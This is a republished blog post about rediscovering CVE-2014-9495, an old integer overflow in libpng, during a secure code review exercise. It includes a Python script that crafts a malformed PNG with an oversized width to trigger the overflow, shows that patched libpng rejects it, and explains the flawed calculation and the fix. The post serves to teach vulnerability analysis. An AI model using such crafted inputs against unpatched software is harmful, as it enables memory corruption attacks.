{"slug": "how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched", "title": "How I Discovered a Libpng Vulnerability 11 Years After It Was Patched", "summary": "The article describes how the author accidentally rediscovered CVE-2014-9495, an 11-year-old integer overflow vulnerability in the libpng library, while practicing secure code review. The bug occurred when user-controlled values like width and bit_depth caused a memory calculation to overflow a 32-bit integer, potentially leading to a heap buffer overflow, though the patched version now detects and rejects such inputs with an error message.", "body_md": "How I Discovered a Libpng Vulnerability 11 Years After It Was Patched\nTable of Contents\nDisclaimer: This is NOT a zero-day. This is a learning experience from my journey into secure code review, where I accidentally rediscovered a vulnerability that was patched back in 2014 (CVE-2014-9495).\nI’m sharing this to help others who are also learning and want to understand how vulnerabilities work in real-world code. Special thanks to Taym\nThe Backstory⌗\nI’m currently learning secure code review and wanted to pick a real-world open-source project to practice on. I chose libpng the widely-used C library for handling PNG images.\nWhile doign the code review, I found a few interesting things. But for this blog post will fous only on one.\nIt seems like a serious security issue : the code calculate memory based on user-controlled values like width\nand bit depth\n, and there weren’t any obvious safety checks in the version I was reviewing.\nSo I tried to crash it and it worked… Well, kind of.\nInstead of crashing, libpng\nstopped me in my tracks with an error. That’s when I realized this bug was already discovered and patched… back in 2014!\nBut hey I still learned a lot, and now I’m sharing that story.\nThe sample which Trigger the vulnerable code⌗\nCrafted a special PNG file using Python. This PNG had:\n- A ridiculously large width (\n0x80000000\n, or 2GB) - A bit depth of 16\nThis combination was enough to overflow an internal memory calculation, which should lead to a heap buffer overflow.\nHere is the script I used to produce the test (bad sample):\nimport struct, zlib\ndef chunk(type_str, data_bytes):\nlength = struct.pack(\">I\", len(data_bytes))\ntype_encoded = type_str.encode(\"ascii\")\ncrc = struct.pack(\">I\", zlib.crc32(type_encoded + data_bytes) & 0xffffffff)\nreturn length + type_encoded + data_bytes + crc\npng = b\"\\x89PNG\\r\\n\\x1a\\n\"\n# Dangerous values: 2GB width + 16-bit depth\nwidth = 0x80000000\nheight = 1\nbit_depth = 16\ncolor_type = 2\ncompression_method = 0\nfilter_method = 0\ninterlace_method = 0\nihdr_data = struct.pack(\">IIBBBBB\",\nwidth, height, bit_depth,\ncolor_type, compression_method,\nfilter_method, interlace_method)\npng += chunk(\"IHDR\", ihdr_data)\npng += chunk(\"IEND\", b\"\")\nwith open(\"overflow_width_bitdepth.png\", \"wb\") as f:\nf.write(png)\nprint(\"[*] Malicious PNG created.\")\nWhen I opened this PNG with libpng, here’s what I got:\nlibpng error: PNG unsigned integer out of range\nlibpng error during init_io\nThat’s not just a crash that’s libpng detecting something fishy and refusing to process it. Basically:\n“Not so 1337.”\nWhat Was the Actual Bug? Let us break it down.\nIn older versions of libpng, the code responsible for calculating how much memory was needed per image row looked like this:\nNote: I was reviewing the latest version of libpng at the time of writing v1.6.48 (released 2025-04-30) and I still found the same historical logic in the codebase. Specifically, the potentially vulnerable-looking calculation can be seen here:\ngithub.com/pnggroup/libpng/blob/libpng16/png.c#L1984-L1990\nWhile it is now guarded by validation checks earlier in the processing pipeline, this snippet remains useful to study and understand how such vulnerabilities arise.\nrowbytes = width * (bit_depth * channels + 7) / 8;\nThis line multiplies user-supplied values like width and bit_depth.\nNow imagine:\nwidth = 2,147,483,648 (2GB) bit_depth = 16\nThe multiplication overflows a 32-bit unsigned integer. This silently wraps around to a smaller number, so libpng allocates less memory than needed.\nThat’s a classic vulnerability: Integer overflow ➜ Miscalculated buffer size ➜ Heap buffer overflow\nThe Patch (CVE-2014-9495) In 2014, this exact issue was discovered and patched under CVE-2014-9495.\nPatch Summary: Added range checks before doing any memory calculations Ensured that values like width * bit_depth * channels don’t overflow Returned an error if something looked suspicious Now, the fixed version throws an error like:\nlibpng error: PNG unsigned integer out of range\nSimplified Patch Logic\nif (width > PNG_UINT_31_MAX || (width * bit_depth * channels) > PNG_SIZE_MAX)\npng_error(png_ptr, \"Image width is too large for this architecture\");\nPatch for the bug is over here : patch\nMy Learning/s: Always audit from source to sink, vulnerable looking code might be safe if it’s validated somewhere else. Integer overflows in C are sneaky No crash doesn’t mean it’s not worth exploring LibPNG or other similar highly audit code will not give 0-day like this (Try Harder, lol)\nWrapping Up If you’re learning security or bug hunting like me, don’t be afraid to dig into old projects and experiment. Even if you don’t find new bugs, you’ll uncover real-world lessons just like I did with this 11-year-old vulnerability.\nStay curious. Keep exploring.", "url": "https://wpnews.pro/news/how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched", "canonical_source": "https://blog.himanshuanand.com/2025/07/how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched/", "published_at": "2025-07-06 00:00:00+00:00", "updated_at": "2026-05-24 02:39:08.360107+00:00", "lang": "en", "topics": ["cybersecurity", "open-source", "research"], "entities": ["libpng", "CVE-2014-9495", "Taym"], "alternates": {"html": "https://wpnews.pro/news/how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched", "markdown": "https://wpnews.pro/news/how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched.md", "text": "https://wpnews.pro/news/how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched.txt", "jsonld": "https://wpnews.pro/news/how-i-discovered-a-libpng-vulnerability-11-years-after-it-was-patched.jsonld"}}